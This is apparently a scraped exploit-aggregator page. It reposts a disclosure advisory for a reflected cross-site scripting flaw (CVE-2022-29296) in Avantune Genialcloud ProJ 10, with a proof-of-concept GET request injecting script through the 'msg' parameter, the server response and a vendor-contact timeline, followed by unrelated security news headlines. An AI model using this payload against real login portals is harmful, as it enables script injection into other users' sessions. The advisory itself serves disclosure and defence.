Exploit Collector
Avantune Genialcloud ProJ 10 Cross Site Scripting

https://4.bp.blogspot.com/-VWb4EvQ6bEo/WWlvWDArLMI/AAAAAAAAIOE/2pUCVP0uaRIPq11CtWtknt0n-yL_qFw9wCLcBGAs/s1600/h48.png
Avantune Genialcloud ProJ version 10 suffers from a cross site scripting vulnerability.

SHA-256 | 7a0d3b9dfd4b8e8ad8e6da668090859f7b1f76c4079023524c8bc929d6e1982f

Download
# Exploit Title: Avantune Genialcloud ProJ 10 - Reflected XSS (Cross-Site Scripting)
# Date: 2022-06-01
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: https://www.avantune.com
# Software Link: https://www.genialcloud.com - https://www.genialcloud.com/discover-genialcloud-proj - https://store.genialcloud.com
# Version: 10
# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 100.0, Microsoft Edge 101.0.1210.39)
# CVE: CVE-2022-29296
Reflected Cross-Site Scripting (XSS) vulnerability in login-portal webpage of Genialcloud ProJ (and potentially in other platforms from the
same software house "Avantune" since codebase seems shared with their other products: Facsys and Analysis) allows remote attacker to inject
and execute arbitrary web scripts or HTML via a crafted payload.

Request parameters affected is "msg".

PoC Request:
GET /eportal/?nologon=1&msg=Invalid%20username%20or%20password%27%3Balert%28%22y0%21+XSS+here+%3A%29%22%29%2F%2F HTTP/1.1
Host: [REDACTED]
Cookie: ASP.NET_SessionId=3recnmmlpo1glzzyejdoezk2
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
Connection: close
Cache-Control: max-age=0

PoC Response:
HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Wed, 11 May 2022 10:51:10 GMT
Connection: close
Content-Length: 8162
...[SNIP]...

...[SNIP]...
Timeline:

2022-01-05: Vulnerability discovered.
2022-01-06: Vendor contacted.
2022-02-07: No reply, vendor contacted for 2nd time.
2022-02-10: Request for CVE reservation.
2022-04-16: Assigned CVE number CVE-2022-29296.
2022-05-07: No reply, vendor contacted for 3rd time.
2022-06-01: Public disclosure.
PoC Screenshots:

https://imagebin.ca/v/6j86ekMqKZD8
https://postimg.cc/XXv6YbK9

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

How I found a GoldMine but got No Gold
https://medium.com/@mahitman1/how-i-found-a-goldmine-but-got-no-gold-e912a89fa522?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Background:Continue reading on Medium » (https://medium.com/@mahitman1/how-i-found-a-goldmine-but-got-no-gold-e912a89fa522?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
EnemyBot Puts Enterprises in the Crosshairs With Raft of '1-Day' Bugs

EnemyBot DDoS botnet is rapidly weaponizing security bugs disclosed in CMS systems like WordPress plug-ins, Android devices, commercial Web servers, and other enterprise applications.

Dark Reading: Attacks/Breaches
Lookout Acquires SaferPass To Address The Rising Threat Of Identity Theft

Password management solution delivers proactive, seamless approach to protecting privacy and login credentials for consumers and businesses; Password Management market expected to reach $3 billion by 2026.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
ReliaQuest to Acquire Digital Shadows

Combined company creates world-class security operations platform to offer customers unmatched visibility and detection to defend against threats.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Netskope Acquires WootCloud, Extending Zero Trust Capabilities to Enterprise IoT

Contextual Intelligence derived with machine learning helps customers identify, assess and remediate threats from IoT devices on their networks, achieving full visibility and control.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Feds Seize Domains Dealing Stolen Personal Data

WeLeakInfo.to and two related domains let users search data stolen in more than 10,000 different breaches.

Dark Reading: Attacks/Breaches
12K Misconfigured Elasticsearch Buckets Ravaged by Extortionists

The cloud instances were left open to the public Internet with no authentication, allowing attackers to wipe the data.

Dark Reading: Attacks/Breaches
Darktrace's David Masson on What Attacks on Critical Infrastructure Look Like

In this Tech Talk, Darktrace's David Masson and Dark Reading's Terry Sweeney discuss the rise of destructive attacks against critical infrastructure.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Netenrich Debuts Resolution Intelligence Secure Digital Operations Platform at RSA 2022

New operational analytics and AI/ML platform drives contextual intelligence and prioritized actions to anticipate risky behaviors, disrupt threats and insure business resilience.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
NetSPI's New Breach and Attack Simulation Enhancements Help Organizations Achieve Behavior-Based Threat Detection

Organizations leverage the platform-driven, human-delivered service to measure and continuously improve the efficacy of detective controls and MSSP coverage.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
FluBot Android Malware Operation Disrupted, Infrastructure Seized

Security researchers have described the malware as among the fastest-spreading mobile threats in recent years.

Dark Reading: Attacks/Breaches
Hunting for Threats Using Network Traffic Flows

SeclarityIO's NetworkSage platform analyzes network traffic data to identify attacks before they become real problems.